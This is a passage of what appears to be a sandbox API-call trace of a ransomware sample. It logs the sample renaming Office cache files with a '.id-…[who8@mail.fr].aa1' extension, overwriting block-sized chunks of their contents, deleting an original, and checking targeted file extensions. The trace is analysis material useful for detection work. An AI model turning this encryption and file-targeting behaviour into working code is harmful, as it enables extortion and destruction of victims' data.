users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0214.651] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=2507776) returned 1 [0214.651] CloseHandle (hObject=0x170) returned 1 [0214.651] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0214.651] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0214.651] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0214.652] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0214.652] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0x0) returned 1 [0214.652] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.652] ReadFile (in: hFile=0x170, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.656] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.657] ReadFile (in: hFile=0x170, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.667] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0214.667] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.667] ReadFile (in: hFile=0x170, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.688] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.688] WriteFile (in: hFile=0x170, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2b9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0214.805] SetEndOfFile (hFile=0x170) returned 1 [0214.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd40a8 [0214.805] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.805] WriteFile (in: hFile=0x170, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.806] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.807] WriteFile (in: hFile=0x170, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.813] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.813] WriteFile (in: hFile=0x170, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd40a8 | out: hHeap=0x4f0000) returned 1 [0214.816] CloseHandle (hObject=0x170) returned 1 [0214.817] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0214.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0214.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0214.817] lstrlenW (lpString=".doc") returned 4 [0214.817] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0214.818] lstrlenW (lpString=".docx") returned 5 [0214.818] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0214.818] lstrlenW (lpString=".pdf") returned 4 [0214.818] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0214.818] lstrlenW (lpString=".xls") returned 4 [0214.818] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0214.818] lstrlenW (lpString=".xlsx") returned 5 [0214.818] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0214.818] lstrlenW (lpString=".ppt") returned 4 [0214.818] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0214.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0214.818] lstrlenW (lpString=".zip") returned 4 [0214.818] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0214.818] lstrlenW (lpString=".rar") returned 4 [0214.818] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0214.818] lstrlenW (lpString=".bz2") returned 4 [0214.818] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0214.818] lstrlenW (lpString=".7z") returned 3 [0214.818] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0214.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0214.818] lstrlenW (lpString=".dbf") returned 4 [0214.819] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0214.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0214.819] lstrlenW (lpString=".1cd") returned 4 [0214.819] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0214.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0214.819] lstrlenW (lpString=".jpg") returned 4 [0214.819] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0214.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0214.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0214.819] lstrlenW (lpString=".doc") returned 4 [0214.819] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0214.819] lstrlenW (lpString=".docx") returned 5 [0214.819] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0214.819] lstrlenW (lpString=".pdf") returned 4 [0214.819] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0214.819] lstrlenW (lpString=".xls") returned 4 [0214.819] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0214.819] lstrlenW (lpString=".xlsx") returned 5 [0214.820] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0214.820] lstrlenW (lpString=".ppt") returned 4 [0214.820] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0214.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0214.820] lstrlenW (lpString=".zip") returned 4 [0214.820] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0214.820] lstrlenW (lpString=".rar") returned 4 [0214.820] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0214.820] lstrlenW (lpString=".bz2") returned 4 [0214.820] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0214.820] lstrlenW (lpString=".7z") returned 3 [0214.820] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0214.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0214.820] lstrlenW (lpString=".dbf") returned 4 [0214.820] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0214.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0214.820] lstrlenW (lpString=".1cd") returned 4 [0214.820] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0214.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0214.820] lstrlenW (lpString=".jpg") returned 4 [0214.820] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0214.820] lstrcmpiW (lpString1=".exe", lpString2=".aa1") returned 1 [0214.820] lstrlenW (lpString="dwtrig20.exe") returned 12 [0214.821] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0214.910] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=519584) returned 1 [0214.911] CloseHandle (hObject=0x164) returned 1 [0214.911] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0214.911] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0214.911] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0214.912] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.912] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.912] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0214.912] GetLastError () returned 0x0 [0214.912] ReadFile (in: hFile=0x164, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b9fed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0217.463] WriteFile (in: hFile=0x204, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x2b9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0217.473] ReadFile (in: hFile=0x164, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b9fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.473] WriteFile (in: hFile=0x204, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.473] SetEndOfFile (hFile=0x204) returned 1 [0217.473] CloseHandle (hObject=0x204) returned 1 [0217.473] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.473] SetEndOfFile (hFile=0x164) returned 1 [0217.478] CloseHandle (hObject=0x164) returned 1 [0217.478] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0217.478] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0217.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0217.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0217.480] lstrlenW (lpString=".doc") returned 4 [0217.480] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0217.480] lstrlenW (lpString=".docx") returned 5 [0217.480] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0217.480] lstrlenW (lpString=".pdf") returned 4 [0217.480] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0217.480] lstrlenW (lpString=".xls") returned 4 [0217.480] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0217.480] lstrlenW (lpString=".xlsx") returned 5 [0217.480] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0217.480] lstrlenW (lpString=".ppt") returned 4 [0217.480] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0217.481] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0217.481] lstrlenW (lpString=".zip") returned 4 [0217.481] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0217.481] lstrlenW (lpString=".rar") returned 4 [0217.481] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0217.481] lstrlenW (lpString=".bz2") returned 4 [0217.481] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0217.481] lstrlenW (lpString=".7z") returned 3 [0217.481] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0217.481] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0217.481] lstrlenW (lpString=".dbf") returned 4 [0217.481] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0217.481] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0217.481] lstrlenW (lpString=".1cd") returned 4 [0217.481] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0217.481] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0217.481] lstrlenW (lpString=".jpg") returned 4 [0217.481] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0217.481] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0217.481] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0217.481] lstrlenW (lpString=".doc") returned 4 [0217.481] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0217.481] lstrlenW (lpString=".docx") returned 5 [0217.481] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0217.481] lstrlenW (lpString=".pdf") returned 4 [0217.481] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0217.481] lstrlenW (lpString=".xls") returned 4 [0217.481] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0217.481] lstrlenW (lpString=".xlsx") returned 5 [0217.481] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0217.482] lstrlenW (lpString=".ppt") returned 4 [0217.482] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0217.482] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0217.482] lstrlenW (lpString=".zip") returned 4 [0217.482] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0217.482] lstrlenW (lpString=".rar") returned 4 [0217.482] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0217.482] lstrlenW (lpString=".bz2") returned 4 [0217.482] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0217.482] lstrlenW (lpString=".7z") returned 3 [0217.482] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0217.482] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0217.482] lstrlenW (lpString=".dbf") returned 4 [0217.482] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0217.482] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0217.482] lstrlenW (lpString=".1cd") returned 4 [0217.482] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0217.482] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0217.482] lstrlenW (lpString=".jpg") returned 4 [0217.482] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0217.482] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0217.482] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0217.482] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0217.483] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=3702272) returned 1 [0217.483] CloseHandle (hObject=0x164) returned 1 [0217.483] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0217.483] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0217.483] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0217.484] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0217.484] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0x0) returned 1 [0217.484] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0217.484] ReadFile (in: hFile=0x164, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0218.451] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0218.451] ReadFile (in: hFile=0x164, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0218.803] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0218.803] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0218.803] ReadFile (in: hFile=0x164, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0219.727] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.727] WriteFile (in: hFile=0x164, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2b9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0219.808] SetEndOfFile (hFile=0x164) returned 1 [0219.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd40a8 [0219.808] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0219.808] WriteFile (in: hFile=0x164, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0219.810] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0219.810] WriteFile (in: hFile=0x164, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0219.814] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0219.814] WriteFile (in: hFile=0x164, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0219.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd40a8 | out: hHeap=0x4f0000) returned 1 [0219.817] CloseHandle (hObject=0x164) returned 1 [0219.817] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0219.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0219.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0219.817] lstrlenW (lpString=".doc") returned 4 [0219.818] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0219.818] lstrlenW (lpString=".docx") returned 5 [0219.818] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0219.818] lstrlenW (lpString=".pdf") returned 4 [0219.818] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0219.818] lstrlenW (lpString=".xls") returned 4 [0219.818] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0219.818] lstrlenW (lpString=".xlsx") 